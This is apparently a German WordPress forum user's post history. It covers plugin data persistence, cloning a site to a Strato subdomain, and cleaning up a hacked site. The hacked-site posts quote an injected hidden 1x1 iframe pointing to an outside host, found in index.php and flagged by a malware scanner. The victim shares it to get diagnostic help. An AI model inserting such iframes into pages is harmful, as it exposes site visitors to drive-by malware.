Beiträge von Karin_web

Hallo Claudio, danke für den Hinweis, und danke auch an cannap - interessant.
Bei manchen Plugins ist es sicher wünschenswert, dass sich die Inhalte o.ä. wieder 'entfernen' wenn das zugehörige Plugin deaktiviuert ist, bei anderen, wie zB einem SEO-Plugin ja wohl eher nicht. D.h. es kommt also darauf an?
Oder kann man davon ausgehen, dass IM REGELfall eines Plugins nichts aus der DB gelöscht wird? cannaps Lösung kommt mir eher wie ein spezieller Sonderfall vor, aber das ist eher geraten als gewusst.
Viele Grüße
K.

Liebe Leute,

kleine Bildungslücke, wer kann mir helfen?
Wenn ich ein Plugin deaktiviere, oder sagen wir mal konkret: ich deaktiviere Yoast SEO Plugin, weil es zB mit ner Neuinstallation oder einem neuen Theme Ärger machte (oder weil irgendein Hirni in meinem WP-System rumpfuschert und das deaktiviert).
Wären dann Einträge, die in die durch das Plugin erzeugten zusätzlichen Felder (Description, Title usw.) in den Artikeln und Seiten geschrieben wurden, gelöscht? Oder bleiben die Daten, weil sie ja inzwischen in die DB entsprechend reingeschrieben wurden?
Und wären die Inhalte beim Wieder-Aktivieren des selben Plugins dann in den Artikeln wieder da, oder wie muss man sich das vorstellen?
Ich danke für Aufklärung,
liebe Grüße
K.

Lieber Christian, vielen Dank für die prompte Antwort!

Noch einige interessierte Nachfragen, falls das nochjemand was Kluges zu weiß:

1. Kann die WP-Kopie wirklich später quasi als KLON der Originalversion gelten, oder gibt es sonst noch was zu bedenken?

2. Ich hatte die DB-Präfixe (also statt wp_ hatte ich zB xyz_3 im Original vergeben) aus der alten DB übernommen und diese demzufolge auch NICHT in der config.sys geändert. Was wäre passiert, wenn ich das getan hätte? Hätte das Probleme erzeugt, da die Backup-DB-Tabellen ja schließlich mit den xyz_3 Präfixen gespeichert war? Und wenn ja, welche?
Wären die neuen Präfixe dann beim Import des Backups noch davor geschrieben worden? Oder hätte das Chaos erzeugt. Es war ja nicht nötig, aber es interessiert mich.

3. Ich habe auch die langen Sicherheitsschlüssel nicht in der config.sys geändert. Kann das Probleme geben, wenn zwei identische WP-Kopien bestehen?

4. Man kann ja in WP eine (Admin-)Mailadresse nur einmal verwenden. Habe ich durch das Kopieren WP ausgetrickst oder wird da noch vom system gemeckert werden?

Danke!

Hallo nochmal,

ich habe gerade versucht, die www-lose URL in einem anderen Brwoser (Opera) zu öffnen - es hat geklappt und ich sehe meine WP-Kopie! Hurra, es war ein Browserproblem. Und das noch vor der Verzweiflungskaffeepause, die ich jetzt einlegen wollte.

Im Mozilla Firefox klappte es nicht. Ich probiere noch, den Cache zu löschen und werde später noch mal gucken, um zu differenzieren, ob Strato erst jetzt die DB-Änderung (in die neue www-lose URL) gefressen hat - oder ob Firefox selbst der Übeltäter ist.
Warum macht der das nur, der Schuft?

Viele Grüße
Karin

Liebe Community,
ich habe eine Kopie einer laufenden WP Installation (3.5.1) gezogen und in einem neuen Ordner abgelegt, eine angelegte Subdomain bei Strato zeigt jetzt darauf.

Hintergrund des Ganzen: Die bisherige Seite soll relauncht werden, mit neuem Theme und weiteren Funktionen. Das möchte ich lieber nicht am bisherigen Livesystem machen, daher zog ich die Kopie.

Die vorab gesicherten DB-Daten habe ich nun in die neue DB eingespielt, dann die config.sys angepasst (neue DB-Daten hinein) und in PHPMyadmin die Einträge bei siteurl und home auf die neue Adresse akualisiert - Die neue Blogadresse habe ich ohne www. eingetragen, wie Strato das bei Subdomains verlangt:
Pfad alt: http://www.meinedomain.de (Originalanwendung)
Pfad neu: http://vorschau.meinedomain.de (Kopie der Anwendung)

Die DB-Daten sind soweit OK, nur jetzt gelingt es nicht, die Kopie im Browser sichtbar zu machen, also die URL aufzurufen. Gebe ich ein:
http://vorschau.meinedomain.de springt die URL sofort um zur http://www.-version und es bleibt bei Fehlermeldung.
Ich sehe aber in meinem Stratopaket nicht, dass ich das non-www zu www. Weiterleiten händisch beeinflusst hätte, in der .htaccess steht auch nichts dazu.

Wo liegt jetzt der Fehler?
1. Wo kann ich die www-weiterleitung bzgl. der Subdomain beeinflussen (bzw. würde sich das auch auf die Hauptdomain auswirken?, das wär blöd)
2. Hätte ich WP besser neu installiert, statt alles nur zu kopieren und ein paar Rahmendaten zu ändern - sprich, vielleicht liegt der Fehler nicht am http://www.-umspringen, sondern an der Kopierweise?
3. Woran könnte ich sonst noch denken bei der Fehleranalyse?

Ich bin etwas ratlos, da ich jetzt schon viel probiert habe, aber nix half.
Ich danke sehr für kluge Ideen, Lösungsansätze und Hilfe

Viele Grüße
Karin
P.S.: Von Strato weggehen ist keine Lösung, kann ich schon gleich sagen, das wird nicht gewünscht.

Hallo zusammen,

mein Problem bleibt gelöst, keine neue Malware da, wie der Check ergab.

Puhh, ein Glück.
Danke für die Antwort, auch wenn ich mir schließlich selbst geholfen habe!

Hallo r24, danke für die Antwort.

Ich habe eine (vorübergehende?) Lösung meines Problems gefunden:

In der PHP war zusätzlicher Code (jener Iframe) vorne vor eingetragen:

<iframe src=http://www.negrilab.it/old/stata.html WIDTH=1 HEIGHT=1 frameborder=0></IFRAME>

der sich dann in den Quellcode der Seiten eingschrieben hatte.
Diesen habe ich gelöscht und eine 'jungfräuliche' index.php hochgeladen.

Dort musste nur noch der Pfad angepasst werden, da mein WP aus einem Unterverzeichnis heraus läuft.

Werde berichten, ob das genügt hat. Weitere Sicherheitsmaßnahmen werde ich natürlich implementieren - auch Versionupdate...

Liebe Experten, heute entdeckte ich, dass meine Seiten http://www.webgewandt.de wohl gehackt wurden.

Mit sitecheck.sucuri.net/scanner/ habe ich das gecheckt- er schlug positiv auf Malware an (die nicht blacklisted ist, kein Wunder denn zu dem genannten Eindringling fand ich bislang kein Posting irgendwo):

Hidden Iframes.
Details: http://sucuri.net/malware/entry/MW:IFRAME:HD202
<iframe src=http://www.negrilab.it/old/stata.html WIDTH=1 HEIGHT=1 frameborder=0>

Known javascript malware.
Details: http://sucuri.net/malware/malware-entry-mwjsanon7
<iframe src=http://www.negrilab.it/old/stata.html WIDTH=1 HEIGHT=1 frameborder=0></IFRAME><!DOCTYPE html>

In meinem Quellcode sieht das so aus:
<head></head>
<body class="home page page-id-2 page-template page-template-default logged-in">
<iframe width="1" height="1" frameborder="0" src="http://www.negrilab.it/old/stata.html">
<meta charset="UTF-8">

D.h. der Header wurde komplett ersetzt und vermutlich wird mein Inhalt durch den iFrame des A*ochs negrilab.it gekapert. Wie das genau funktioniert weiß ich leider nicht. Wer kann mir helfen, das Problem zu lösen? Leider hab ich kein (aktuelles) Backup (hinterher ist man immer schlauer), weshalb ich dankbar wäre für eine 'Pflückraus-Lösung' ohne alles neu aufzusetzen. In die PHPs hab ich noch nicht im Einzelnen geschaut, weil ich erst einmal Feedback erhoffe.

System-Voraussetzungen:
WP 3.0.1.
Die ht.access wurde nicht bösartig verändert.
In der wp-config.php hatte ich die $table_prefix aus Sicherheitsgründen geändert.
Der Benutzername ist ein anderer als der öff. gezeigte Spitzname.
Niemand anderes darf bei mir schreiben.
Die Kommentarfunktion ist moderiert und wurde bislang nur für einzelne Seiten freigegeben.

Meine letzte Aktionen war die Installation des Plugin Orderli am 27.1.
und die Einbindung eines RSS Feeds im Blogroll.

Ich bin dankbar für Erläuterungen, ob das eine Script Injection ist, oder was- ich hab mich schon etwas umgesehen, benötige aber noch mehr Input für ein gezieltes Vorgehen.
Herzlichen Dank!